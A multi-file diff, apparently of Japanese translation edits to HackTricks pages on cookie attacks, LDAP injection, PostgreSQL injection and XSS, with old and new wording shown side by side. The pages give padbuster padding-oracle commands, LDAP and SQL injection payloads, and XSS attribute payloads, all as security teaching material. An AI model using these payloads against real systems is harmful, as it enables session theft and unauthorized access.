* [**Cookie Smuggling**](./#cookie-smuggling)攻撃を使用してこれらのクッキーを外部に持ち出すことが可能です。
* これらのクッキーを外部に抽出するために[**Cookie Smuggling**](./#cookie-smuggling)攻撃を使用すことが可能です。
### Secure
リクエストは、**HTTPS**などの安全なチャネルを介して送信される場合にのみ、HTTPリクエストでクッキーを**送信します**
リクエストは、**HTTPS**などの安全なチャネルを介して送信される場合にのみ、HTTPリクエストでクッキーを**送信**します。
## Cookies Prefixes
@ -103,17 +102,17 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減します**
### Overwriting cookies
したがって、`__Host-`で始まるクッキーの保護の1つは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg)[**論文**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)では、パーサーを騙すことでサブドメインから__HOST-で始まるクッキーを設定することが可能であることが示されています。たとえば、最初や最後に"="を追加することなどです:
したがって、`__Host-`で始まるクッキーの保護のつは、サブドメインからの上書きを防ぐことです。たとえば、[**Cookie Tossing attacks**](cookie-tossing.md)を防ぎます。トークで[**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf))では、パーサーを騙すことでサブドメインから\_\_HOST-で始まるクッキーを設定することが可能であることが示されています。たとえば、最初や最後に`=`を追加することなどです:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
また、PHPでは、クッキー名の先頭に**他の文字を追加する**ことで、**アンダースコア**文字に置き換えられ、`__HOST-`クッキーを上書きすることが可能でした
また、PHPでは、クッキー名の先頭に**他の文字を追加する**ことが可能で、これらは**アンダースコア**文字に置き換えられ、`__HOST-`クッキーを上書きすることができます
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
カスタムクッキーに機密データが含まれている場合は、特にCTFをプレイしている場合は、それを確認してください。脆弱性があるかもしれません。
カスタムクッキーに機密データが含まれている場合は、それを確認してください特にCTFをプレイしている場合脆弱性があるかもしれません。
### Decoding and Manipulating Cookies
@ -121,13 +120,13 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減します**
### Session Hijacking
この攻撃は、ユーザーのクッキーを盗むことで、アプリケーション内のそのユーザーのアカウントに不正にアクセスすることを含みます。盗まれたクッキーを使用することで、攻撃者は正当なユーザーを偽装できます。
この攻撃は、ユーザーのクッキーを盗むことで、アプリケーション内のアカウントに不正にアクセスすることを含みます。盗まれたクッキーを使用することで、攻撃者は正当なユーザーを偽装できます。
### Session Fixation
このシナリオでは、攻撃者が被害者を特定のクッキーを使用してログインさせるように仕向けます。アプリケーションがログイン時に新しいクッキーを割り当てない場合、攻撃者は元のクッキーを持っているため、被害者を偽装できます。この技術は、被害者が攻撃者が提供したクッキーでログインすることに依存しています。
**サブドメインXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
**サブドメインXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -137,7 +136,7 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減します**
ここでは、攻撃者が被害者に攻撃者のセッションクッキーを使用させるように仕向けます。被害者は自分のアカウントにログインしていると信じて、攻撃者のアカウントのコンテキストで意図せずにアクションを実行します。
**サブドメインXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
**サブドメインXSSを見つけた場合**や**サブドメインを制御している場合**は、次をお読みください:
{% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md)
@ -147,7 +146,7 @@ _**SameSite**_属性を持つクッキーは、**CSRF攻撃を軽減します**
前のリンクをクリックして、JWTの可能な欠陥を説明するページにアクセスしてください。
クッキーで使用されるJSON Web TokensJWTも脆弱性を示す可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWTハッキングに関するリンクされた文書にアクセスすることをお勧めします。
クッキーで使用されるJSON Web TokensJWTも脆弱性を示す可能性があります。潜在的な欠陥とそれを悪用する方法についての詳細情報を得るには、JWTハッキングするためのリンクされた文書にアクセスすることをお勧めします。
### Cross-Site Request Forgery (CSRF)
@ -177,11 +176,11 @@ Chromeでは、Unicodeサロゲートコードポイントがセットクッキ
```js
document.cookie = "\ud800=meep";
```
この結果、`document.cookie`は空の文字列を出力し、永続的な破損を示します。
この結果、`document.cookie` は空の文字列を出力し、永続的な破損を示します。
#### パースの問題によるクッキーのスモグリング
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) JavaJetty、TomCat、UndertowやPythonZope、cherrypy、web.py、aiohttp、bottle、webobを含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキー文字列を誤って処理します。彼らは、セミコロンを含んでいても、ダブルクオートされたクッキー値を単一の値として読み取ります。これは通常、キーと値のペアを区切るべきです。
(詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照) JavaJetty、TomCat、UndertowやPythonZope、cherrypy、web.py、aiohttp、bottle、webobを含むいくつかのウェブサーバーは、古いRFC2965サポートのためにクッキー文字列を誤って処理します。彼らは、セミコロンを含んでいても、二重引用符で囲まれたクッキー値を単一の値として読み取ります。これは通常、キーと値のペアを区切るべきです。
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
@ -203,17 +202,17 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
* ログアウトして、同じクッキーを使用してみてください。
* 2つのデバイスまたはブラウザで同じアカウントに同じクッキーを使用してログインしてみてください。
* クッキーに情報が含まれているか確認し、変更を試みてください。
* ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見えるか確認してください。
* ほぼ同じユーザー名でいくつかのアカウントを作成し、類似点が見えるか確認してください。
* "**remember me**"オプションが存在する場合、それがどのように機能するか確認してください。存在し、脆弱である可能性がある場合は、他のクッキーなしで**remember me**のクッキーを常に使用してください。
* パスワードを変更しても前のクッキーが機能するか確認してください。
#### **Advanced cookies attacks**
クッキーがログイン時に同じ(またはほぼ同じ)である場合、これはおそらくそのクッキーがアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、あなたは:
クッキーがログイン時に同じ(またはほぼ同じ)である場合、これはおそらくそのクッキーがあなたのアカウントのいくつかのフィールド(おそらくユーザー名)に関連していることを意味します。次に、あなたは:
* 非常に**似た**ユーザー名でたくさんの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。
* **ユーザー名をブルートフォース**してみてください。クッキーがあなたのユーザー名の認証方法としてのみ保存されている場合、ユーザー名"**Bmin**"でアカウントを作成し、クッキーのすべての**ビット**を**ブルートフォース**することができます。なぜなら、あなたが試すクッキーの1つは"**admin**"に属するものだからです。
* **Padding** **Oracle**を試てください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
* **Padding** **Oracle**を試てください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
**Padding Oracle - Padbuster examples**
```bash
@ -225,7 +224,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbusterは複数回の試行を行い、どの条件がエラー条件(無効なもの)であるかを尋ねます。
Padbusterは複数回試行し、どの条件がエラー条件(無効なもの)であるかを尋ねます。
その後、クッキーの復号を開始します(数分かかる場合があります)。
@ -237,7 +236,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**CBC-MAC**
クッキーには何らかの値があり、CBCを使用して署名される可能性があります。すると、その値の整合性は、同じ値を使用してCBCで作成された署名になります。IVとしてヌルベクターを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。
クッキーには何らかの値があり、CBCを使用して署名される可能性があります。その場合、値の整合性は、同じ値を使用してCBCで作成された署名です。IVとしてヌルベクトルを使用することが推奨されるため、このタイプの整合性チェックは脆弱である可能性があります。
**攻撃**
@ -254,7 +253,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキー内のパターンを発見しようとします。
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」というユーザーを作成し、クッキーにパターンがあるか確認しますECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」というユーザーを作成し、クッキーにパターンがあるかどうかを確認しますECBは同じキーで各ブロックを暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります
使用されるブロックのサイズでパターンが存在するはずです。したがって、「a」をブロックのサイズ分繰り返した後に「admin」を追加したユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化パターンを削除することができます。そして、ユーザー名「admin」のクッキーを得ることができます。
@ -263,10 +262,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
* [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
* [https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653\_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -3,8 +3,8 @@
## LDAP Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要です_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -63,7 +63,7 @@ You can access to the database, and this can content information of a lot of dif
**ADAMまたはMicrosoft LDS**: 2つのフィルターでエラーが発生します。\
**SunOne Directory Server 5.0**: 両方のフィルターを実行します。
**フィルターは正しい構文で送信することが非常に重要です。さもなければエラーが発生します。1つのフィルターのみを送信する方が良いです。**
**フィルターは正しい構文で送信することが非常に重要です。エラーが発生します。1つのフィルターのみを送信する方が良いです。**
フィルターは次のように始まる必要があります: `&` または `|`\
Example: `(&(directory=val1)(folder=public))`
@ -71,11 +71,11 @@ Example: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed).
Then: `(&(objectClass=`**`*)(ObjectClass=*))`** が最初のフィルター(実行されるもの)になります。
### Login Bypass
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに挿入する内容に関係なく、ハッシュ化される可能性があります。
```bash
user=*
password=*
@ -167,7 +167,7 @@ ascii文字、数字、記号を繰り返すことができます:
#### **有効なLDAPフィールドを発見する**
LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存することができます**それらすべてを**ブルートフォースして情報を抽出することを試みることができます**。 [**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)で見つけることができます。
LDAPオブジェクトは**デフォルトでいくつかの属性を含んでおり**、それを使って**情報を保存する**ことができます**それらすべてをブルートフォースして情報を抽出する**ことを試みることができます。 [**デフォルトのLDAP属性のリストはこちら**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)で見つけることができます。
```python
#!/usr/bin/python3
import requests
@ -224,23 +224,23 @@ intitle:"phpLDAPadmin" inurl:cmd.php
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **参加する** 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) または **私たちをフォローする** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出してください。
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# PostgreSQLインジェクション
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,7 +15,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -23,7 +23,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
***
**このページは、PostgreSQLデータベースで見つかったSQLインジェクションを悪用するのに役立つさまざまなトリックを説明することを目的とています。また、** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **で見つけられるトリックを補完します。**
**このページは、PostgreSQLデータベースで見つかったSQLインジェクションを悪用するのに役立つさまざまなトリックを説明し、** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **で見つけられるトリックを補完することを目的とています。**
## ネットワークインタラクション - 権限昇格、ポートスキャナー、NTLMチャレンジレスポンスの開示とエクスフィルトレーション
@ -33,9 +33,9 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
[**この例を読む**](dblink-lo_import-data-exfiltration.md)と、**大きなオブジェクト内にデータをロードし、その後、`dblink_connect`関数のユーザー名内の大きなオブジェクトの内容をエクスフィルトレーションする方法**のCTF例を確認できます。
## PostgreSQL攻撃: 読み書き、RCE、権限昇格
## PostgreSQL攻撃:読み取り/書き込み、RCE、権限昇格
ホストを侵害し、PostgreSQLから権限を昇格させる方法を確認してください:
PostgreSQLからホストを侵害し、権限を昇格させる方法を確認してください
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
@ -50,7 +50,7 @@ GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png"
### スタッククエリ
PostgreSQLはスタッククエリをサポートしていますが、2つのレスポンスが返されるとエラーをスローするアプリケーションがいくつかあります。しかし、時間インジェクションを介してスタッククエリを悪用することはまだ可能です:
PostgreSQLはスタッククエリをサポートしていますが、2つのレスポンスが返されるとエラーをスローするアプリケーションがいくつかあります。ただし、時間インジェクションを介してスタッククエリを悪用することは可能です:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -59,7 +59,7 @@ id=1; select pg_sleep(10);-- -
**query\_to\_xml**
この関数は、すべてのデータをXML形式で1つのファイルに返します。大量のデータを1行でダンプしたい場合に最適です:
この関数は、すべてのデータをXML形式で1つのファイルに返します。1行で大量のデータをダンプしたい場合に最適です:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
@ -69,9 +69,9 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
```sql
SELECT database_to_xml(true,true,'');
```
### Strings in Hex
### Hexでの文字列
もし**クエリ**を**文字列の中に**渡して実行できるなら(例えば**`query_to_xml`**関数を使用する場合)、**convert\_fromを使用して文字列を16進数として渡し、この方法でフィルターをバイパスできます:**
**文字列の中に**(例えば、**`query_to_xml`**関数を使用して)**クエリを渡すことができる場合**、**convert\_fromを使用して文字列を16進数として渡し、この方法でフィルターをバイパスできます**
{% code overflow="wrap" %}
```sql
@ -97,22 +97,22 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!**_流暢なポーランド語の読み書きが必要_
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWSハッキングを学び、実践する<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>

View file

@ -1,6 +1,6 @@
# XSS (クロスサイトスクリプティング)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
もしあなたが**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたいなら - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
@ -16,19 +16,19 @@
1. 新しいHTMLタグを作成できますか
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
3. 保護を回避できますか?
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できるかもしれません
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できるかもしれません。
2. **HTMLタグ内で**
4. HTMLコンテンツがクライアントサイドのJSエンジン (_AngularJS_、_VueJS_、_Mavo_...) によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できます
5. JSコードを実行するHTMLタグを作成できない場合、[**ダングリングマークアップ - HTMLスクリプトレスインジェクション**](../dangling-markup-html-scriptless-injection/)を悪用できますか?
2. **HTMLタグ内**で
1. 生のHTMLコンテキストに抜け出せますか
2. JSコードを実行するための新しいイベント/属性を作成できますか?
3. あなたが閉じ込められている属性はJS実行をサポートしていますか
4. 保護を回避できますか?
3. **JavaScriptコード内で**
3. **JavaScriptコード内**で
1. `<script>`タグをエスケープできますか?
2. 文字列をエスケープして異なるJSコードを実行できますか
3. テンプレートリテラル \`\` に入力がありますか?
4. 保護を回避できますか?
4. 実行されているJavaScript **関数**
4. 実行されているJavascript **関数**
1. 実行する関数の名前を指定できます。例:`?callback=alert(1)`
4. **使用されている場合**
1. **DOM XSS**を悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの**制御された入力がどのシンクで使用されているかに注意してください**
@ -41,7 +41,7 @@
## 反映された値
XSSを成功裏に悪用するために最初に見つけるべきことは、**あなたが制御する値がウェブページに反映されていること**です。
XSSを成功裏に悪用するために最初に見つける必要があるのは、**あなたが制御する値がウェブページに反映されていること**です。
* **中間的に反映された**:パラメータの値やパスがウェブページに反映されていることがわかった場合、**反映されたXSS**を悪用できるかもしれません。
* **保存されて反映された**:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、**保存されたXSS**を悪用できるかもしれません。
@ -49,7 +49,7 @@ XSSを成功裏に悪用するために最初に見つけるべきことは、**
## コンテキスト
XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストに応じて、異なる方法で任意のJSコードを実行できるようになります。
XSSを悪用しようとする際に最初に知っておくべきことは、**あなたの入力がどこに反映されているか**です。コンテキストによって、異なる方法で任意のJSコードを実行できるようになります。
### 生のHTML
@ -60,10 +60,10 @@ XSSを悪用しようとする際に最初に知っておくべきことは、**
あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:
1. **属性とタグから抜け出す**その後、生のHTMLにいることになります新しいHTMLタグを作成して悪用します`"><img [...]`
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている、タグに応じてJSコードを実行する**イベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、**どの属性**にあなたの値が反映されているか、**値全体を制御しているのか一部だけを制御しているのか**に応じて悪用できるかもしれません。例えば、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、脆弱性を悪用するために**`accesskey`**トリックを試みることができます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="**
1. **属性とタグから抜け出す**その後、生のHTMLにいることになりますことを試み、新しいHTMLタグを作成して悪用します`"><img [...]`
2. **属性からは抜け出せるがタグからは抜け出せない**場合(`>`がエンコードまたは削除されている)、タグに応じて**JSコードを実行するイベントを作成**できるかもしれません:`" autofocus onfocus=alert(1) x="`
3. **属性から抜け出せない**場合(`"`がエンコードまたは削除されている)、あなたの値が反映されている**属性**に応じて、**すべての値を制御しているか、一部だけを制御しているか**によって悪用できるかもしれません。**例えば**、`onclick=`のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い**例**は、`href`属性で、`javascript:`プロトコルを使用して任意のコードを実行できます:**`href="javascript:alert(1)"`**
4. あなたの入力が「**悪用できないタグ**」内に反映されている場合、**`accesskey`**トリックを試みて脆弱性を悪用できます(これを悪用するには何らかの社会工学が必要です):**`" accesskey="x" onclick="alert(1)" x="`**
クラス名を制御している場合のAngularによるXSSの奇妙な例
```html
